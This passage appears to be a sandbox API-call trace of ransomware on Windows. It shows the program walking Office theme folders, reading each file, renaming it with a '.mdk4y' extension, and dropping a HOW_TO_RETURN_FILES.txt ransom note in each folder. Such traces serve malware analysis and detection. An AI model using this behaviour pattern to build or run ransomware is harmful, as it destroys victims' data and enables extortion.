lpPerformanceCount=0x37de58*=1819563900000) returned 1 [0120.409] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819563900000) returned 1 [0120.410] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.mdk4y")) returned 1 [0120.410] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0120.410] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0120.410] AreFileApisANSI () returned 1 [0120.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0120.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0120.411] GetFileType (hFile=0x130) returned 0x1 [0120.412] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0120.412] AreFileApisANSI () returned 1 [0120.412] GetACP () returned 0x4e4 [0120.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SATIN", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SATINUE", lpUsedDefaultChar=0x37df4c) returned 5 [0120.412] AreFileApisANSI () returned 1 [0120.412] GetACP () returned 0x4e4 [0120.412] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=62, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\6(Ɨ") returned 62 [0120.412] AreFileApisANSI () returned 1 [0120.412] GetACP () returned 0x4e4 [0120.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0120.412] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.412] AreFileApisANSI () returned 1 [0120.412] GetACP () returned 0x4e4 [0120.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0120.412] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.412] AreFileApisANSI () returned 1 [0120.412] GetACP () returned 0x4e4 [0120.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0120.412] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.413] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819564300000) returned 1 [0120.413] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xe1b, lpOverlapped=0x0) returned 1 [0120.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819566500000) returned 1 [0120.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819566500000) returned 1 [0120.435] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.mdk4y")) returned 1 [0120.436] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.436] AreFileApisANSI () returned 1 [0120.436] GetACP () returned 0x4e4 [0120.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SATIN.ELM", cchWideChar=9, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SATIN.ELMIF", lpUsedDefaultChar=0x37dec0) returned 9 [0120.436] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819566700000) returned 1 [0120.437] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1936f, lpOverlapped=0x0) returned 1 [0120.451] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819568100000) returned 1 [0120.451] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819568100000) returned 1 [0120.452] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm.mdk4y")) returned 1 [0120.452] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.452] AreFileApisANSI () returned 1 [0120.453] GetACP () returned 0x4e4 [0120.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SATIN.INF", cchWideChar=9, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SATIN.INF", lpUsedDefaultChar=0x37dec0) returned 9 [0120.453] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.453] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819568300000) returned 1 [0120.453] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1c8, lpOverlapped=0x0) returned 1 [0120.454] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819568400000) returned 1 [0120.454] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819568400000) returned 1 [0120.454] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf.mdk4y")) returned 1 [0120.470] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.470] AreFileApisANSI () returned 1 [0120.470] GetACP () returned 0x4e4 [0120.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0120.470] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.470] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819570000000) returned 1 [0120.470] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x8573, lpOverlapped=0x0) returned 1 [0120.552] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819578200000) returned 1 [0120.552] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819578200000) returned 1 [0120.552] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.mdk4y")) returned 1 [0120.553] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0120.553] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0120.553] AreFileApisANSI () returned 1 [0120.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0120.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0120.554] GetFileType (hFile=0x130) returned 0x1 [0120.554] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0120.554] AreFileApisANSI () returned 1 [0120.554] GetACP () returned 0x4e4 [0120.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SKY", cchWideChar=3, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SKYIN", lpUsedDefaultChar=0x37df4c) returned 3 [0120.555] AreFileApisANSI () returned 1 [0120.555] GetACP () returned 0x4e4 [0120.555] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=60, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\꿐j筰kƙ") returned 60 [0120.555] AreFileApisANSI () returned 1 [0120.555] GetACP () returned 0x4e4 [0120.555] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0120.555] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.555] AreFileApisANSI () returned 1 [0120.555] GetACP () returned 0x4e4 [0120.555] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0120.555] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.555] AreFileApisANSI () returned 1 [0120.555] GetACP () returned 0x4e4 [0120.555] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0120.556] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.556] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819578600000) returned 1 [0120.556] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3a9, lpOverlapped=0x0) returned 1 [0120.635] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819586500000) returned 1 [0120.635] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819586500000) returned 1 [0120.636] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.mdk4y")) returned 1 [0120.637] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.637] AreFileApisANSI () returned 1 [0120.637] GetACP () returned 0x4e4 [0120.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SKY.ELM", cchWideChar=7, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SKY.ELM.GIF", lpUsedDefaultChar=0x37dec0) returned 7 [0120.637] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.638] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819586800000) returned 1 [0120.638] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1413d, lpOverlapped=0x0) returned 1 [0120.651] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819588100000) returned 1 [0120.651] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819588100000) returned 1 [0120.652] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm.mdk4y")) returned 1 [0120.654] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.654] AreFileApisANSI () returned 1 [0120.654] GetACP () returned 0x4e4 [0120.654] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SKY.INF", cchWideChar=7, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SKY.INF", lpUsedDefaultChar=0x37dec0) returned 7 [0120.654] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.654] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819588400000) returned 1 [0120.654] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1bc, lpOverlapped=0x0) returned 1 [0120.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819588500000) returned 1 [0120.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819588500000) returned 1 [0120.655] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf.mdk4y")) returned 1 [0120.671] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.671] AreFileApisANSI () returned 1 [0120.671] GetACP () returned 0x4e4 [0120.671] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0120.671] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819590200000) returned 1 [0120.672] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x7279, lpOverlapped=0x0) returned 1 [0120.691] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819592100000) returned 1 [0120.691] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819592100000) returned 1 [0120.692] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.mdk4y")) returned 1 [0120.692] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0120.692] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0120.693] AreFileApisANSI () returned 1 [0120.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0120.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0120.693] GetFileType (hFile=0x130) returned 0x1 [0120.694] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0120.694] AreFileApisANSI () returned 1 [0120.694] GetACP () returned 0x4e4 [0120.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SLATE", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SLATE", lpUsedDefaultChar=0x37df4c) returned 5 [0120.694] AreFileApisANSI () returned 1 [0120.694] GetACP () returned 0x4e4 [0120.694] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=62, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\筰kƛ") returned 62 [0120.706] AreFileApisANSI () returned 1 [0120.706] GetACP () returned 0x4e4 [0120.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0120.706] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.706] AreFileApisANSI () returned 1 [0120.706] GetACP () returned 0x4e4 [0120.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0120.706] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.706] AreFileApisANSI () returned 1 [0120.706] GetACP () returned 0x4e4 [0120.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0120.706] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.707] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819593700000) returned 1 [0120.707] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3f1, lpOverlapped=0x0) returned 1 [0120.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819595700000) returned 1 [0120.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819595700000) returned 1 [0120.727] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft 